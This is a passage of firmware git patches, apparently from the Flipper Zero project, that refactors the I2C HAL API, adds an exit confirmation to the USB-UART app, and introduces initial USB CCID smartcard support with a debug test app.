if(LL_I2C_IsActiveFlag_TXIS(handle->bus->i2c)) { - if(size == len + 1) { - LL_I2C_TransmitData8(handle->bus->i2c, mem_addr); - } else { - LL_I2C_TransmitData8(handle->bus->i2c, (*data)); - data++; - } - size--; - } - - if(furi_hal_cortex_timer_is_expired(timer)) { - ret = false; - break; - } - } - - LL_I2C_ClearFlag_STOP(handle->bus->i2c); - } while(0); - - return ret; + return furi_hal_i2c_tx_ext( + handle, + i2c_addr, + false, + &mem_addr, + 1, + FuriHalI2cBeginStart, + FuriHalI2cEndPause, + timeout) && + furi_hal_i2c_tx_ext( + handle, + i2c_addr, + false, + data, + len, + FuriHalI2cBeginResume, + FuriHalI2cEndStop, + timeout); } diff --git a/firmware/targets/furi_hal_include/furi_hal_i2c.h b/firmware/targets/furi_hal_include/furi_hal_i2c.h index 566574ab82..f493655b4d 100644 --- a/firmware/targets/furi_hal_include/furi_hal_i2c.h +++ b/firmware/targets/furi_hal_include/furi_hal_i2c.h @@ -1,11 +1,11 @@ /** - * @file furi_hal_i2c.h - * I2C HAL API + * @file furi_hal_i2c.h I2C HAL API */ #pragma once #include +#include #include #include @@ -13,6 +13,35 @@ extern "C" { #endif +/** Transaction beginning signal */ +typedef enum { + /*!Begin the transaction by sending a START condition followed by the + * address */ + FuriHalI2cBeginStart, + /*!Begin the transaction by sending a RESTART condition followed by the + * address + * @note Must follow a transaction ended with + * FuriHalI2cEndAwaitRestart */ + FuriHalI2cBeginRestart, + /*!Continue the previous transaction with new data + * @note Must follow a transaction ended with FuriHalI2cEndPause and + * be of the same type (RX/TX) */ + FuriHalI2cBeginResume, +} FuriHalI2cBegin; + +/** Transaction end signal */ +typedef enum { + /*!End the transaction by sending a STOP condition */ + FuriHalI2cEndStop, + /*!End the transaction by clock stretching + * @note Must be followed by a transaction using + * FuriHalI2cBeginRestart */ + FuriHalI2cEndAwaitRestart, + /*!Pauses the transaction by clock stretching + * @note Must be followed by a transaction using FuriHalI2cBeginResume */ + FuriHalI2cEndPause, +} FuriHalI2cEnd; + /** Early Init I2C */ void furi_hal_i2c_init_early(); @@ -22,78 +51,126 @@ void furi_hal_i2c_deinit_early(); /** Init I2C */ void furi_hal_i2c_init(); -/** Acquire i2c bus handle +/** Acquire I2C bus handle * - * @return Instance of FuriHalI2cBus + * @param handle Pointer to FuriHalI2cBusHandle instance */ void furi_hal_i2c_acquire(FuriHalI2cBusHandle* handle); -/** Release i2c bus handle - * - * @param bus instance of FuriHalI2cBus aquired in `furi_hal_i2c_acquire` +/** Release I2C bus handle + * + * @param handle Pointer to FuriHalI2cBusHandle instance acquired in + * `furi_hal_i2c_acquire` */ void furi_hal_i2c_release(FuriHalI2cBusHandle* handle); -/** Perform I2C tx transfer +/** Perform I2C TX transfer * - * @param handle pointer to FuriHalI2cBusHandle instance + * @param handle Pointer to FuriHalI2cBusHandle instance * @param address I2C slave address - * @param data pointer to data buffer - * @param size size of data buffer - * @param timeout timeout in ticks + * @param data Pointer to data buffer + * @param size Size of data buffer + * @param timeout Timeout in milliseconds * * @return true on successful transfer, false otherwise */ bool furi_hal_i2c_tx( FuriHalI2cBusHandle* handle, - const uint8_t address, + uint8_t address, + const uint8_t* data, + size_t size, + uint32_t timeout); + +/** + * Perform I2C TX transfer, with additional settings. + * + * @param handle Pointer to FuriHalI2cBusHandle instance + * @param address I2C slave address + * @param ten_bit Whether the address is 10 bits wide + * @param data Pointer to data buffer + * @param size Size of data buffer + * @param begin How to begin the transaction + * @param end How to end the transaction + * @param timer Timeout timer + * + * @return true on successful transfer, false otherwise + */ +bool furi_hal_i2c_tx_ext( + FuriHalI2cBusHandle* handle, + uint16_t address, + bool ten_bit, const uint8_t* data, - const uint8_t size, + size_t size, + FuriHalI2cBegin begin, + FuriHalI2cEnd end, uint32_t timeout); -/** Perform I2C rx transfer +/** Perform I2C RX transfer * - * @param handle pointer to FuriHalI2cBusHandle instance + * @param handle Pointer to FuriHalI2cBusHandle instance * @param address I2C slave address - * @param data pointer to data buffer - * @param size size of data buffer - * @param timeout timeout in ticks + * @param data Pointer to data buffer + * @param size Size of data buffer + * @param timeout Timeout in milliseconds * * @return true on successful transfer, false otherwise */ bool furi_hal_i2c_rx( FuriHalI2cBusHandle* handle, - const uint8_t address, + uint8_t address, + uint8_t* data, + size_t size, + uint32_t timeout); + +/** Perform I2C RX transfer, with additional settings. + * + * @param handle Pointer to FuriHalI2cBusHandle instance + * @param address I2C slave address + * @param ten_bit Whether the address is 10 bits wide + * @param data Pointer to data buffer + * @param size Size of data buffer + * @param begin How to begin the transaction + * @param end How to end the transaction + * @param timer Timeout timer + * + * @return true on successful transfer, false otherwise + */ +bool furi_hal_i2c_rx_ext( + FuriHalI2cBusHandle* handle, + uint16_t address, + bool ten_bit, uint8_t* data, - const uint8_t size, + size_t size, + FuriHalI2cBegin begin, + FuriHalI2cEnd end, uint32_t timeout); -/** Perform I2C tx and rx transfers +/** Perform I2C TX and RX transfers * - * @param handle pointer to FuriHalI2cBusHandle instance + * @param handle Pointer to FuriHalI2cBusHandle instance * @param address I2C slave address - * @param tx_data pointer to tx data buffer - * @param tx_size size of tx data buffer - * @param rx_data pointer to rx data buffer - * @param rx_size size of rx data buffer - * @param timeout timeout in ticks + * @param tx_data Pointer to TX data buffer + * @param tx_size Size of TX data buffer + * @param rx_data Pointer to RX data buffer + * @param rx_size Size of RX data buffer + * @param timeout Timeout in milliseconds * * @return true on successful transfer, false otherwise */ bool furi_hal_i2c_trx( FuriHalI2cBusHandle* handle, - const uint8_t address, + uint8_t address, const uint8_t* tx_data, - const uint8_t tx_size, + size_t tx_size, uint8_t* rx_data, - const uint8_t rx_size, + size_t rx_size, uint32_t timeout); /** Check if I2C device presents on bus * - * @param handle pointer to FuriHalI2cBusHandle instance - * @param i2c_addr I2C slave address - * @param timeout timeout in ticks + * @param handle Pointer to FuriHalI2cBusHandle instance + * @param i2c_addr I2C slave address + * @param timeout Timeout in milliseconds * * @return true if device present and is ready, false otherwise */ @@ -101,11 +178,11 @@ bool furi_hal_i2c_is_device_ready(FuriHalI2cBusHandle* handle, uint8_t i2c_addr, /** Perform I2C device register read (8-bit) * - * @param handle pointer to FuriHalI2cBusHandle instance - * @param i2c_addr I2C slave address - * @param reg_addr register address - * @param data pointer to register value - * @param timeout timeout in ticks + * @param handle Pointer to FuriHalI2cBusHandle instance + * @param i2c_addr I2C slave address + * @param reg_addr Register address + * @param data Pointer to register value + * @param timeout Timeout in milliseconds * * @return true on successful transfer, false otherwise */ @@ -118,11 +195,11 @@ bool furi_hal_i2c_read_reg_8( /** Perform I2C device register read (16-bit) * - * @param handle pointer to FuriHalI2cBusHandle instance - * @param i2c_addr I2C slave address - * @param reg_addr register address - * @param data pointer to register value - * @param timeout timeout in ticks + * @param handle Pointer to FuriHalI2cBusHandle instance + * @param i2c_addr I2C slave address + * @param reg_addr Register address + * @param data Pointer to register value + * @param timeout Timeout in milliseconds * * @return true on successful transfer, false otherwise */ @@ -135,12 +212,12 @@ bool furi_hal_i2c_read_reg_16( /** Perform I2C device memory read * - * @param handle pointer to FuriHalI2cBusHandle instance - * @param i2c_addr I2C slave address - * @param mem_addr memory start address - * @param data pointer to data buffer - * @param len size of data buffer - * @param timeout timeout in ticks + * @param handle Pointer to FuriHalI2cBusHandle instance + * @param i2c_addr I2C slave address + * @param mem_addr Memory start address + * @param data Pointer to data buffer + * @param len Size of data buffer + * @param timeout Timeout in milliseconds * * @return true on successful transfer, false otherwise */ @@ -149,16 +226,16 @@ bool furi_hal_i2c_read_mem( uint8_t i2c_addr, uint8_t mem_addr, uint8_t* data, - uint8_t len, + size_t len, uint32_t timeout); /** Perform I2C device register write (8-bit) * - * @param handle pointer to FuriHalI2cBusHandle instance - * @param i2c_addr I2C slave address - * @param reg_addr register address - * @param data register value - * @param timeout timeout in ticks + * @param handle Pointer to FuriHalI2cBusHandle instance + * @param i2c_addr I2C slave address + * @param reg_addr Register address + * @param data Register value + * @param timeout Timeout in milliseconds * * @return true on successful transfer, false otherwise */ @@ -171,11 +248,11 @@ bool furi_hal_i2c_write_reg_8( /** Perform I2C device register write (16-bit) * - * @param handle pointer to FuriHalI2cBusHandle instance - * @param i2c_addr I2C slave address - * @param reg_addr register address - * @param data register value - * @param timeout timeout in ticks + * @param handle Pointer to FuriHalI2cBusHandle instance + * @param i2c_addr I2C slave address + * @param reg_addr Register address + * @param data Register value + * @param timeout Timeout in milliseconds * * @return true on successful transfer, false otherwise */ @@ -188,12 +265,12 @@ bool furi_hal_i2c_write_reg_16( /** Perform I2C device memory * - * @param handle pointer to FuriHalI2cBusHandle instance - * @param i2c_addr I2C slave address - * @param mem_addr memory start address - * @param data pointer to data buffer - * @param len size of data buffer - * @param timeout timeout in ticks + * @param handle Pointer to FuriHalI2cBusHandle instance + * @param i2c_addr I2C slave address + * @param mem_addr Memory start address + * @param data Pointer to data buffer + * @param len Size of data buffer + * @param timeout Timeout in milliseconds * * @return true on successful transfer, false otherwise */ @@ -201,8 +278,8 @@ bool furi_hal_i2c_write_mem( FuriHalI2cBusHandle* handle, uint8_t i2c_addr, uint8_t mem_addr, - uint8_t* data, - uint8_t len, + const uint8_t* data, + size_t len, uint32_t timeout); #ifdef __cplusplus From 182c8defb1af98ef5c11f3ece013061da4283112 Mon Sep 17 00:00:00 2001 From: Astra <93453568+Astrrra@users.noreply.github.com> Date: Thu, 21 Sep 2023 17:06:45 +0900 Subject: [PATCH 18/40] [FL-3458] Add confirmation before exiting USB-UART (#3043) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Add confirmation before exiting USB-UART * Redo the confirm view to be a scene to ignore the back button Co-authored-by: hedger Co-authored-by: あく --- applications/main/gpio/gpio_app.c | 7 +++ applications/main/gpio/gpio_app_i.h | 3 ++ .../main/gpio/scenes/gpio_scene_config.h | 1 + .../gpio/scenes/gpio_scene_exit_confirm.c | 44 +++++++++++++++++++ .../main/gpio/scenes/gpio_scene_usb_uart.c | 3 ++ 5 files changed, 58 insertions(+) create mode 100644 applications/main/gpio/scenes/gpio_scene_exit_confirm.c diff --git a/applications/main/gpio/gpio_app.c b/applications/main/gpio/gpio_app.c index 1ecff1ec2e..020fbf79a1 100644 --- a/applications/main/gpio/gpio_app.c +++ b/applications/main/gpio/gpio_app.c @@ -43,6 +43,11 @@ GpioApp* gpio_app_alloc() { app->notifications = furi_record_open(RECORD_NOTIFICATION); + // Dialog view + app->dialog = dialog_ex_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, GpioAppViewExitConfirm, dialog_ex_get_view(app->dialog)); + app->var_item_list = variable_item_list_alloc(); view_dispatcher_add_view( app->view_dispatcher, @@ -79,10 +84,12 @@ void gpio_app_free(GpioApp* app) { view_dispatcher_remove_view(app->view_dispatcher, GpioAppViewUsbUart); view_dispatcher_remove_view(app->view_dispatcher, GpioAppViewUsbUartCfg); view_dispatcher_remove_view(app->view_dispatcher, GpioAppViewUsbUartCloseRpc); + view_dispatcher_remove_view(app->view_dispatcher, GpioAppViewExitConfirm); variable_item_list_free(app->var_item_list); widget_free(app->widget); gpio_test_free(app->gpio_test); gpio_usb_uart_free(app->gpio_usb_uart); + dialog_ex_free(app->dialog); // View dispatcher view_dispatcher_free(app->view_dispatcher); diff --git a/applications/main/gpio/gpio_app_i.h b/applications/main/gpio/gpio_app_i.h index 03fe9f4894..d54ffd3682 100644 --- a/applications/main/gpio/gpio_app_i.h +++ b/applications/main/gpio/gpio_app_i.h @@ -13,6 +13,7 @@ #include #include #include +#include #include "views/gpio_test.h" #include "views/gpio_usb_uart.h" #include @@ -23,6 +24,7 @@ struct GpioApp { ViewDispatcher* view_dispatcher; SceneManager* scene_manager; Widget* widget; + DialogEx* dialog; VariableItemList* var_item_list; VariableItem* var_item_flow; @@ -39,4 +41,5 @@ typedef enum { GpioAppViewUsbUart, GpioAppViewUsbUartCfg, GpioAppViewUsbUartCloseRpc, + GpioAppViewExitConfirm, } GpioAppView; diff --git a/applications/main/gpio/scenes/gpio_scene_config.h b/applications/main/gpio/scenes/gpio_scene_config.h index 3406e42d3a..d6fd24d19d 100644 --- a/applications/main/gpio/scenes/gpio_scene_config.h +++ b/applications/main/gpio/scenes/gpio_scene_config.h @@ -3,3 +3,4 @@ ADD_SCENE(gpio, test, Test) ADD_SCENE(gpio, usb_uart, UsbUart) ADD_SCENE(gpio, usb_uart_cfg, UsbUartCfg) ADD_SCENE(gpio, usb_uart_close_rpc, UsbUartCloseRpc) +ADD_SCENE(gpio, exit_confirm, ExitConfirm) diff --git a/applications/main/gpio/scenes/gpio_scene_exit_confirm.c b/applications/main/gpio/scenes/gpio_scene_exit_confirm.c new file mode 100644 index 0000000000..efb0734a31 --- /dev/null +++ b/applications/main/gpio/scenes/gpio_scene_exit_confirm.c @@ -0,0 +1,44 @@ +#include "gpio_app_i.h" + +void gpio_scene_exit_confirm_dialog_callback(DialogExResult result, void* context) { + GpioApp* app = context; + + view_dispatcher_send_custom_event(app->view_dispatcher, result); +} + +void gpio_scene_exit_confirm_on_enter(void* context) { + GpioApp* app = context; + DialogEx* dialog = app->dialog; + + dialog_ex_set_context(dialog, app); + dialog_ex_set_left_button_text(dialog, "Exit"); + dialog_ex_set_right_button_text(dialog, "Stay"); + dialog_ex_set_header(dialog, "Exit USB-UART?", 22, 12, AlignLeft, AlignTop); + dialog_ex_set_result_callback(dialog, gpio_scene_exit_confirm_dialog_callback); + + view_dispatcher_switch_to_view(app->view_dispatcher, GpioAppViewExitConfirm); +} + +bool gpio_scene_exit_confirm_on_event(void* context, SceneManagerEvent event) { + GpioApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == DialogExResultRight) { + consumed = scene_manager_previous_scene(app->scene_manager); + } else if(event.event == DialogExResultLeft) { + scene_manager_search_and_switch_to_previous_scene(app->scene_manager, GpioSceneStart); + } + } else if(event.type == SceneManagerEventTypeBack) { + consumed = true; + } + + return consumed; +} + +void gpio_scene_exit_confirm_on_exit(void* context) { + GpioApp* app = context; + + // Clean view + dialog_ex_reset(app->dialog); +} diff --git a/applications/main/gpio/scenes/gpio_scene_usb_uart.c b/applications/main/gpio/scenes/gpio_scene_usb_uart.c index c5e085192b..9a3514ca4f 100644 --- a/applications/main/gpio/scenes/gpio_scene_usb_uart.c +++ b/applications/main/gpio/scenes/gpio_scene_usb_uart.c @@ -42,6 +42,9 @@ bool gpio_scene_usb_uart_on_event(void* context, SceneManagerEvent event) { scene_manager_set_scene_state(app->scene_manager, GpioSceneUsbUart, 1); scene_manager_next_scene(app->scene_manager, GpioSceneUsbUartCfg); return true; + } else if(event.type == SceneManagerEventTypeBack) { + scene_manager_next_scene(app->scene_manager, GpioSceneExitConfirm); + return true; } else if(event.type == SceneManagerEventTypeTick) { uint32_t tx_cnt_last = scene_usb_uart->state.tx_cnt; uint32_t rx_cnt_last = scene_usb_uart->state.rx_cnt; From a089aeb2bd60d4c39905a21af87bfb7603bb4e9d Mon Sep 17 00:00:00 2001 From: Filipe Paz Rodrigues Date: Thu, 21 Sep 2023 02:09:00 -0700 Subject: [PATCH 19/40] Add Initial CCID support (#3048) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Add Initial CCID support * Sync api symbols * Format sources Co-authored-by: あく --- applications/debug/ccid_test/application.fam | 16 + applications/debug/ccid_test/ccid_test_app.c | 159 ++++++ .../debug/ccid_test/iso7816_t0_apdu.c | 36 ++ .../debug/ccid_test/iso7816_t0_apdu.h | 32 ++ firmware/targets/f18/api_symbols.csv | 8 +- firmware/targets/f7/api_symbols.csv | 8 +- .../targets/f7/furi_hal/furi_hal_usb_ccid.c | 498 ++++++++++++++++++ firmware/targets/furi_hal_include/furi_hal.h | 1 + .../targets/furi_hal_include/furi_hal_usb.h | 1 + .../furi_hal_include/furi_hal_usb_ccid.h | 31 ++ lib/libusb_stm32 | 2 +- 11 files changed, 789 insertions(+), 3 deletions(-) create mode 100644 applications/debug/ccid_test/application.fam create mode 100644 applications/debug/ccid_test/ccid_test_app.c create mode 100644 applications/debug/ccid_test/iso7816_t0_apdu.c create mode 100644 applications/debug/ccid_test/iso7816_t0_apdu.h create mode 100644 firmware/targets/f7/furi_hal/furi_hal_usb_ccid.c create mode 100644 firmware/targets/furi_hal_include/furi_hal_usb_ccid.h diff --git a/applications/debug/ccid_test/application.fam b/applications/debug/ccid_test/application.fam new file mode 100644 index 0000000000..e0cbc8d85e --- /dev/null +++ b/applications/debug/ccid_test/application.fam @@ -0,0 +1,16 @@ +App( + appid="ccid_test", + name="CCID Debug", + apptype=FlipperAppType.DEBUG, + entry_point="ccid_test_app", + cdefines=["CCID_TEST"], + requires=[ + "gui", + ], + provides=[ + "ccid_test", + ], + stack_size=1 * 1024, + order=120, + fap_category="Debug", +) diff --git a/applications/debug/ccid_test/ccid_test_app.c b/applications/debug/ccid_test/ccid_test_app.c new file mode 100644 index 0000000000..a2f936d742 --- /dev/null +++ b/applications/debug/ccid_test/ccid_test_app.c @@ -0,0 +1,159 @@ +#include +#include +#include + +#include +#include +#include +#include + +#include "iso7816_t0_apdu.h" + +typedef enum { + EventTypeInput, +} EventType; + +typedef struct { + Gui* gui; + ViewPort* view_port; + FuriMessageQueue* event_queue; + FuriHalUsbCcidConfig ccid_cfg; +} CcidTestApp; + +typedef struct { + union { + InputEvent input; + }; + EventType type; +} CcidTestAppEvent; + +typedef enum { + CcidTestSubmenuIndexInsertSmartcard, + CcidTestSubmenuIndexRemoveSmartcard, + CcidTestSubmenuIndexInsertSmartcardReader +} SubmenuIndex; + +void icc_power_on_callback(uint8_t* atrBuffer, uint32_t* atrlen, void* context) { + UNUSED(context); + + iso7816_answer_to_reset(atrBuffer, atrlen); +} + +void xfr_datablock_callback(uint8_t* dataBlock, uint32_t* dataBlockLen, void* context) { + UNUSED(context); + + struct ISO7816_Response_APDU responseAPDU; + //class not supported + responseAPDU.SW1 = 0x6E; + responseAPDU.SW2 = 0x00; + + iso7816_write_response_apdu(&responseAPDU, dataBlock, dataBlockLen); +} + +static const CcidCallbacks ccid_cb = { + icc_power_on_callback, + xfr_datablock_callback, +}; + +static void ccid_test_app_render_callback(Canvas* canvas, void* ctx) { + UNUSED(ctx); + canvas_clear(canvas); + + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 0, 10, "CCID Test App"); + + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 0, 63, "Hold [back] to exit"); +} + +static void ccid_test_app__input_callback(InputEvent* input_event, void* ctx) { + FuriMessageQueue* event_queue = ctx; + + CcidTestAppEvent event; + event.type = EventTypeInput; + event.input = *input_event; + furi_message_queue_put(event_queue, &event, FuriWaitForever); +} + +uint32_t ccid_test_exit(void* context) { + UNUSED(context); + return VIEW_NONE; +} + +CcidTestApp* ccid_test_app_alloc() { + CcidTestApp* app = malloc(sizeof(CcidTestApp)); + + // Gui + app->gui = furi_record_open(RECORD_GUI); + + //viewport + app->view_port = view_port_alloc(); + gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen); + view_port_draw_callback_set(app->view_port, ccid_test_app_render_callback, NULL); + + //message queue + app->event_queue = furi_message_queue_alloc(8, sizeof(CcidTestAppEvent)); + furi_check(app->event_queue); + view_port_input_callback_set(app->view_port, ccid_test_app__input_callback, app->event_queue); + + return app; +} + +void ccid_test_app_free(CcidTestApp* app) { + furi_assert(app); + + //message queue + furi_message_queue_free(app->event_queue); + + //view port + gui_remove_view_port(app->gui, app->view_port); + view_port_free(app->view_port); + + // Close gui record + furi_record_close(RECORD_GUI); + app->gui = NULL; + + // Free rest + free(app); +} + +int32_t ccid_test_app(void* p) { + UNUSED(p); + + //setup view + CcidTestApp* app = ccid_test_app_alloc(); + + //setup CCID USB + // On linux: set VID PID using: /usr/lib/pcsc/drivers/ifd-ccid.bundle/Contents/Info.plist + app->ccid_cfg.vid = 0x1234; + app->ccid_cfg.pid = 0x5678; + + FuriHalUsbInterface* usb_mode_prev = furi_hal_usb_get_config(); + furi_hal_usb_unlock(); + furi_hal_ccid_set_callbacks((CcidCallbacks*)&ccid_cb); + furi_check(furi_hal_usb_set_config(&usb_ccid, &app->ccid_cfg) == true); + + //handle button events + CcidTestAppEvent event; + while(1) { + FuriStatus event_status = + furi_message_queue_get(app->event_queue, &event, FuriWaitForever); + + if(event_status == FuriStatusOk) { + if(event.type == EventTypeInput) { + if(event.input.type == InputTypeLong && event.input.key == InputKeyBack) { + break; + } + } + } + view_port_update(app->view_port); + } + + //tear down USB + furi_hal_usb_set_config(usb_mode_prev, NULL); + furi_hal_ccid_set_callbacks(NULL); + + //teardown view + ccid_test_app_free(app); + return 0; +} diff --git a/applications/debug/ccid_test/iso7816_t0_apdu.c b/applications/debug/ccid_test/iso7816_t0_apdu.c new file mode 100644 index 0000000000..29f5f7a86c --- /dev/null +++ b/applications/debug/ccid_test/iso7816_t0_apdu.c @@ -0,0 +1,36 @@ +/* Implements rudimentary iso7816-3 support for APDU (T=0) */ +#include +#include +#include +#include "iso7816_t0_apdu.h" + +void iso7816_answer_to_reset(uint8_t* atrBuffer, uint32_t* atrlen) { + //minimum valid ATR: https://smartcard-atr.apdu.fr/parse?ATR=3B+00 + uint8_t AtrBuffer[2] = { + 0x3B, //TS (direct convention) + 0x00 // T0 (Y(1): b0000, K: 0 (historical bytes)) + }; + *atrlen = 2; + + memcpy(atrBuffer, AtrBuffer, sizeof(uint8_t) * (*atrlen)); +} + +void iso7816_read_command_apdu( + struct ISO7816_Command_APDU* command, + const uint8_t* dataBuffer, + uint32_t dataLen) { + furi_assert(dataLen <= 4); + command->CLA = dataBuffer[0]; + command->INS = dataBuffer[1]; + command->P1 = dataBuffer[2]; + command->P2 = dataBuffer[3]; +} + +void iso7816_write_response_apdu( + const struct ISO7816_Response_APDU* response, + uint8_t* dataBuffer, + uint32_t* dataLen) { + dataBuffer[0] = response->SW1; + dataBuffer[1] = response->SW2; + *dataLen = 2; +} \ No newline at end of file diff --git a/applications/debug/ccid_test/iso7816_t0_apdu.h b/applications/debug/ccid_test/iso7816_t0_apdu.h new file mode 100644 index 0000000000..8a8c99f85d --- /dev/null +++ b/applications/debug/ccid_test/iso7816_t0_apdu.h @@ -0,0 +1,32 @@ +#ifndef _ISO7816_T0_APDU_H_ +#define _ISO7816_T0_APDU_H_ + +#include + +struct ISO7816_Command_APDU { + //header + uint8_t CLA; + uint32_t INS; + uint8_t P1; + uint8_t P2; + + //body + uint8_t Nc; + uint8_t Ne; +} __attribute__((packed)); + +struct ISO7816_Response_APDU { + uint8_t SW1; + uint32_t SW2; +} __attribute__((packed)); + +void iso7816_answer_to_reset(uint8_t* atrBuffer, uint32_t* atrlen); +void iso7816_read_command_apdu( + struct ISO7816_Command_APDU* command, + const uint8_t* dataBuffer, + uint32_t dataLen); +void iso7816_write_response_apdu( + const struct ISO7816_Response_APDU* response, + uint8_t* dataBuffer, + uint32_t* dataLen); +#endif //_ISO7816_T0_APDU_H_ diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index f4e990becb..338697ad70 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,39.0,, +Version,+,39.1,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -76,6 +76,7 @@ Header,+,firmware/targets/furi_hal_include/furi_hal_sd.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_speaker.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_spi.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_usb.h,, +Header,+,firmware/targets/furi_hal_include/furi_hal_usb_ccid.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_usb_hid.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_usb_hid_u2f.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_version.h,, @@ -105,6 +106,7 @@ Header,+,lib/libusb_stm32/inc/hid_usage_telephony.h,, Header,+,lib/libusb_stm32/inc/hid_usage_vr.h,, Header,-,lib/libusb_stm32/inc/stm32_compat.h,, Header,+,lib/libusb_stm32/inc/usb.h,, +Header,+,lib/libusb_stm32/inc/usb_ccid.h,, Header,+,lib/libusb_stm32/inc/usb_cdc.h,, Header,+,lib/libusb_stm32/inc/usb_cdca.h,, Header,+,lib/libusb_stm32/inc/usb_cdce.h,, @@ -1008,6 +1010,9 @@ Function,+,furi_hal_bus_enable,void,FuriHalBus Function,+,furi_hal_bus_init_early,void, Function,+,furi_hal_bus_is_enabled,_Bool,FuriHalBus Function,+,furi_hal_bus_reset,void,FuriHalBus +Function,+,furi_hal_ccid_ccid_insert_smartcard,void, +Function,+,furi_hal_ccid_ccid_remove_smartcard,void, +Function,+,furi_hal_ccid_set_callbacks,void,CcidCallbacks* Function,+,furi_hal_cdc_get_ctrl_line_state,uint8_t,uint8_t Function,+,furi_hal_cdc_get_port_settings,usb_cdc_line_coding*,uint8_t Function,+,furi_hal_cdc_receive,int32_t,"uint8_t, uint8_t*, uint16_t" @@ -2692,6 +2697,7 @@ Variable,+,sequence_single_vibro,const NotificationSequence, Variable,+,sequence_solid_yellow,const NotificationSequence, Variable,+,sequence_success,const NotificationSequence, Variable,-,suboptarg,char*, +Variable,+,usb_ccid,FuriHalUsbInterface, Variable,+,usb_cdc_dual,FuriHalUsbInterface, Variable,+,usb_cdc_single,FuriHalUsbInterface, Variable,+,usb_hid,FuriHalUsbInterface, diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index d37d5f333d..f3f42d0f09 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,39.0,, +Version,+,39.1,, Header,+,applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, @@ -82,6 +82,7 @@ Header,+,firmware/targets/furi_hal_include/furi_hal_sd.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_speaker.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_spi.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_usb.h,, +Header,+,firmware/targets/furi_hal_include/furi_hal_usb_ccid.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_usb_hid.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_usb_hid_u2f.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_version.h,, @@ -123,6 +124,7 @@ Header,+,lib/libusb_stm32/inc/hid_usage_telephony.h,, Header,+,lib/libusb_stm32/inc/hid_usage_vr.h,, Header,-,lib/libusb_stm32/inc/stm32_compat.h,, Header,+,lib/libusb_stm32/inc/usb.h,, +Header,+,lib/libusb_stm32/inc/usb_ccid.h,, Header,+,lib/libusb_stm32/inc/usb_cdc.h,, Header,+,lib/libusb_stm32/inc/usb_cdca.h,, Header,+,lib/libusb_stm32/inc/usb_cdce.h,, @@ -1079,6 +1081,9 @@ Function,+,furi_hal_bus_enable,void,FuriHalBus Function,+,furi_hal_bus_init_early,void, Function,+,furi_hal_bus_is_enabled,_Bool,FuriHalBus Function,+,furi_hal_bus_reset,void,FuriHalBus +Function,+,furi_hal_ccid_ccid_insert_smartcard,void, +Function,+,furi_hal_ccid_ccid_remove_smartcard,void, +Function,+,furi_hal_ccid_set_callbacks,void,CcidCallbacks* Function,+,furi_hal_cdc_get_ctrl_line_state,uint8_t,uint8_t Function,+,furi_hal_cdc_get_port_settings,usb_cdc_line_coding*,uint8_t Function,+,furi_hal_cdc_receive,int32_t,"uint8_t, uint8_t*, uint16_t" @@ -3479,6 +3484,7 @@ Variable,+,subghz_protocol_raw_decoder,const SubGhzProtocolDecoder, Variable,+,subghz_protocol_raw_encoder,const SubGhzProtocolEncoder, Variable,+,subghz_protocol_registry,const SubGhzProtocolRegistry, Variable,-,suboptarg,char*, +Variable,+,usb_ccid,FuriHalUsbInterface, Variable,+,usb_cdc_dual,FuriHalUsbInterface, Variable,+,usb_cdc_single,FuriHalUsbInterface, Variable,+,usb_hid,FuriHalUsbInterface, diff --git a/firmware/targets/f7/furi_hal/furi_hal_usb_ccid.c b/firmware/targets/f7/furi_hal/furi_hal_usb_ccid.c new file mode 100644 index 0000000000..559713d015 --- /dev/null +++ b/firmware/targets/f7/furi_hal/furi_hal_usb_ccid.c @@ -0,0 +1,498 @@ +#include +#include +#include +#include +#include + +#include "usb.h" +#include "usb_ccid.h" + +static const uint8_t USB_DEVICE_NO_CLASS = 0x0; +static const uint8_t USB_DEVICE_NO_SUBCLASS = 0x0; +static const uint8_t USB_DEVICE_NO_PROTOCOL = 0x0; + +#define FIXED_CONTROL_ENDPOINT_SIZE 8 +#define IF_NUM_MAX 1 + +#define CCID_VID_DEFAULT 0x1234 +#define CCID_PID_DEFAULT 0xABCD +#define CCID_TOTAL_SLOTS 1 +#define CCID_SLOT_INDEX 0 + +#define CCID_DATABLOCK_SIZE 256 + +#define ENDPOINT_DIR_IN 0x80 +#define ENDPOINT_DIR_OUT 0x00 + +#define INTERFACE_ID_CCID 0 + +#define CCID_IN_EPADDR (ENDPOINT_DIR_IN | 2) + +/** Endpoint address of the CCID data OUT endpoint, for host-to-device data transfers. */ +#define CCID_OUT_EPADDR (ENDPOINT_DIR_OUT | 1) + +/** Endpoint size in bytes of the CCID data being sent between IN and OUT endpoints. */ +#define CCID_EPSIZE 64 + +struct CcidIntfDescriptor { + struct usb_interface_descriptor ccid; + struct usb_ccid_descriptor ccid_desc; + struct 